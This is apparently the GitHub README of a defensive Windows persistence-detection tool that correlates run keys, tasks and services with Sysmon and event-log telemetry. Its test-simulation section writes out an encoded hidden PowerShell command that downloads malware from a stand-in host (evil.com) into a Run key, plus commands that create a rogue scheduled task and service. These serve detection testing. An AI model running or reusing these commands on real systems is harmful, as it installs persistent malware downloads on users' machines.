JimmyDevvvvv/Persistence-Hunter
GitHub: JimmyDevvvvv/Persistence-Hunter
Stars: 0 | Forks: 0
# Persistence Hunter
Windows persistence detection with attack chain reconstruction. Enumerates registry run keys, scheduled tasks, and services — then correlates each finding with Sysmon and Windows event log telemetry to show you how the persistence got there, not just that it exists.
Most tools give you a list. This gives you a chain.
## The problem it solves
Persistence is easy to find. Autoruns has done that for years. The harder question is whether a given persistence entry was dropped by a legitimate installer, a user action, or something that shouldn't be there at all. That distinction usually lives in the process tree — which process wrote the registry key, what spawned it, what spawned that.
Persistence Hunter answers that question by correlating each entry against Sysmon event 1, 12, and 13 records, Windows 4688 process creation events, 4698 task creation events, and 7045 service install events. The result is an attack chain per finding. Where the chain is clean, the finding is probably noise. Where the chain looks like `explorer.exe -> cmd.exe -> reg.exe`, you have something worth looking at.
## What it covers
**Persistence mechanisms**
- Registry run keys across HKCU and HKLM, including RunOnce and common persistence subkeys
- Scheduled tasks — full enumeration with command parsing and PS decode
- Windows services — all entries with binary path extraction and Authenticode verification
**Event correlation**
- Sysmon event IDs 1 (process create), 12/13 (registry write), 11 (file create)
- Security event 4688 (process creation with command line)
- Security event 4698 (scheduled task created)
- System event 7045 (service installed)
**Analysis**
- PS `-enc` decode — UTF-16 LE, inline in output and in the UI
- Composite threat scoring with per-factor breakdown
- MITRE technique tagging — T1059, T1112, T1543, T1053, T1027 and variants
- LOLBin detection, masquerading detection, suspicious path flagging
- APT TTP pattern matching — APT29, APT32, Lazarus, Kimsuky signatures
**Binary verification**
- SHA256 per service binary
- Authenticode status via PowerShell Get-AuthenticodeSignature
- Signer and issuer extraction
- VirusTotal URL by hash — no API key needed
- Ghost service detection when the binary is missing from disk
**Baseline and diff**
- Snapshot the current state as a baseline
- Subsequent scans only surface entries not present at snapshot time
- Useful for distinguishing pre-existing noise from new activity
## Architecture
collector/
base_collector.py shared DB, event ingestion, chain building, baseline methods
registry_collector.py registry run key scanner
task_collector.py scheduled task scanner
service_collector.py service scanner
api/
main.py FastAPI app
scan_worker.py background scan pipeline
routes/
alerts.py
baseline.py
chains.py
entries.py
scan.py
scores.py
search.py
signatures.py
stats.py
summary.py
frontend/
src/
pages/
Dashboard.jsx telemetry overview, charts, recent alerts
Alerts.jsx alert feed with attack chain visualizer
EntryDetail.jsx per-entry tabs: Summary, Attack Chain, Intel, Details
Entries.jsx full entry table with filters
Baseline.jsx snapshot management and diff view
Search.jsx free-text search across entries and process events
components/
features/
EnrichmentPanel.jsx signature data and PS decode panel
IntelPanel.jsx risk indicators and threat score
ProcessTree.jsx attack chain visualizer
ScanButton.jsx scan trigger with live progress bar
Threatscore.jsx threat score widget with breakdown
ps_decode.py PS -enc decoder
scan_summary.py CLI cross-collector summary
check_signatures.py CLI binary signature checker
threat_scorer.py scoring engine
## Requirements
- Windows 10/11 or Server 2016+
- Python 3.11+
- Node.js 18+ for the frontend
- Sysmon installed and running — chains are significantly richer with it
- Security audit policy: process creation auditing (4688) with command line enabled
- Admin rights for service enumeration and some event log access
Python packages: `fastapi uvicorn[standard] python-multipart`
Frontend packages: `react vite @tanstack/react-query axios react-router-dom framer-motion`
## Setup
Initialize the database:
python fix_db.py
Take a baseline on a known-clean system before any attack simulation:
python collector/registry_collector.py --scan --sysmon --events --hours 72 --baseline
python collector/task_collector.py --scan --sysmon --events --hours 72 --baseline
python collector/service_collector.py --scan --sysmon --events --hours 72 --baseline
Start the API:
python -m uvicorn api.main:app --host 0.0.0.0 --port 8000 --reload
Start the frontend:
cd frontend
npm install
npm run dev
## Daily workflow
python collector/registry_collector.py --scan --sysmon --events --hours 1 --diff --chain-all
python collector/task_collector.py --scan --sysmon --events --hours 1 --diff --chain-all
python collector/service_collector.py --scan --sysmon --events --hours 1 --diff --chain-all
python scan_summary.py --chains
`--diff` means only entries absent from the last baseline appear in output. Without it you get everything, which is mostly noise after the first run.
## CLI flags
| Flag | Description |
|---|---|
| `--scan` | Enumerate current persistence entries |
| `--sysmon` | Collect Sysmon events for chain correlation |
| `--events` | Collect Security and System event logs |
| `--hours N` | Event lookback window in hours, default 24 |
| `--baseline` | Snapshot current entries as the active baseline |
| `--diff` | Output only entries not present in the last baseline |
| `--chain-all` | Build attack chains for all High and Critical entries |
| `--json` | Export results to JSON |
| `--mark-safe NAME` | Add a named entry to the baseline to suppress it |
Signature check:
python check_signatures.py --all --exe-only --unsigned-only
| Flag | Description |
|---|---|
| `--all` | Include all services, not just High and Critical |
| `--exe-only` | Skip drivers and COM handlers with no parseable exe path |
| `--unsigned-only` | Only show unsigned, missing, or tampered binaries |
| `--json` | Write results to signature_results.json |
## API
| Endpoint | Method | Description |
|---|---|---|
| `/api/health` | GET | DB connectivity check |
| `/api/stats` | GET | Aggregated counts across all types |
| `/api/summary` | GET | New High/Critical entries since baseline |
| `/api/summary/stats` | GET | Quick counts for dashboard cards |
| `/api/alerts` | GET | Full alert feed |
| `/api/entries` | GET | All entries with type and severity filters |
| `/api/entries/{type}/{id}` | GET | Single entry |
| `/api/chains/{type}/{id}` | GET | Attack chain for one entry |
| `/api/scores` | GET | All threat scores |
| `/api/scores/{type}/{id}` | GET | Score and breakdown for one entry |
| `/api/scores/run` | POST | Run scorer across all entries |
| `/api/scan` | POST | Trigger full background scan |
| `/api/scan/status` | GET | Poll scan job progress |
| `/api/baseline` | GET | List baselines |
| `/api/baseline` | POST | Create snapshot |
| `/api/baseline/diff` | GET | New entries since last baseline |
| `/api/baseline/{id}` | DELETE | Remove a baseline |
| `/api/signatures` | GET | Cached signature results |
| `/api/signatures/run` | POST | Trigger background signature scan |
| `/api/signatures/iocs` | GET | Unsigned and suspicious binaries only |
| `/api/search` | GET | Search entries and process events |
## Threat scoring
Entries are scored 0–100. The score is a composite of weighted risk signals, not a single indicator.
| Score | Label | Meaning |
|---|---|---|
| 80–100 | Critical | High confidence. Investigate immediately. |
| 60–79 | High | Suspicious. Likely malicious or high-risk. |
| 35–59 | Medium | Indicators present. Review recommended. |
| 0–34 | Low | Informational. Probably not worth your time. |
Signals that contribute to score: encoded PowerShell payload, execution from temp or user-writable directories, LOLBin abuse, process name masquerading, malicious parent node in chain, chain depth, APT TTP matches, unsigned or missing binary.
The score is what the UI uses for severity classification. The collector's static severity field is a fallback when no score exists.
## Attack chain example
WindowsUpdater [CRITICAL, score 100]
Value: powershell.exe -nop -w hidden -enc JABjAD0...
Decoded: $c=New-Object System.Net.WebClient;$c.DownloadFile('http://evil.com/malware.exe','C:\malware\payload.exe')
Chain:
explorer.exe [stub]
cmd.exe [sysmon] T1059.003
reg.exe [sysmon_exact] T1112, T1027, T1562.001
-> wrote HKCU\Run -> WindowsUpdater
Anomalies: malicious_writer, lolbin_chain, suspicious_path
Node source labels: `live` means process is currently running, `sysmon` means matched via Sysmon event, `sysmon_exact` means the event directly references this persistence entry, `stub` means a synthetic parent inserted to complete the chain.
## Test simulation
On an isolated test machine:
# Baseline first
python fix_db.py
python collector/registry_collector.py --scan --sysmon --events --hours 72 --baseline
python collector/task_collector.py --scan --sysmon --events --hours 72 --baseline
python collector/service_collector.py --scan --sysmon --events --hours 72 --baseline
# Inject
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "WindowsUpdater" /t REG_SZ /d "powershell.exe -nop -w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGUAdgBpAGwALgBjAG8AbQAvAG0AYQBsAHcAYQByAGUALgBlAHgAZQAnACwAJwBDADoAXABtAGEAbAB3AGEAcgBlAFwAcABhAHkAbABvAGEAZAAuAGUAeABlACcAKQA=" /f
schtasks /create /tn "Microsoft\Windows\Maintenance\UpdateCheck" /tr "powershell.exe -nop -w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAA=" /sc daily /st 00:00 /f
cmd /c "sc create EvilSvc binpath= C:\Windows\Temp\evil_payload.exe start= auto"
# Detect
python collector/registry_collector.py --scan --sysmon --events --hours 1 --diff --chain-all
python collector/task_collector.py --scan --sysmon --events --hours 1 --diff --chain-all
python collector/service_collector.py --scan --sysmon --events --hours 1 --diff --chain-all
python scan_summary.py --chains --json
# Clean up
reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "WindowsUpdater" /f
schtasks /delete /tn "Microsoft\Windows\Maintenance\UpdateCheck" /f
cmd /c "sc delete EvilSvc"
Note: `sc create` must be run via `cmd /c` — PowerShell aliases `sc` to `Set-Content`.
Expected: three Critical findings, decoded PS payload visible in summary, full attack chains for each entry.
## Limitations
The collectors are tightly coupled to Windows event log structure. Running this on anything else is not supported.
Service enumeration and certain event log queries require admin rights. Running without elevation will produce incomplete results without a clear error — some queries will silently return nothing.
Do not expose port 8000 to a network without a reverse proxy in front of it.
Signature checking runs a PowerShell subprocess per binary. On a system with several hundred services this takes a few minutes. It is not designed for real-time use.
The baseline diff only compares by hash ID, not by entry content. If a malicious entry is modified in place after a baseline is taken, it may not surface as new.
This runs locally on a single machine. There is no agent architecture.
标签:自定义脚本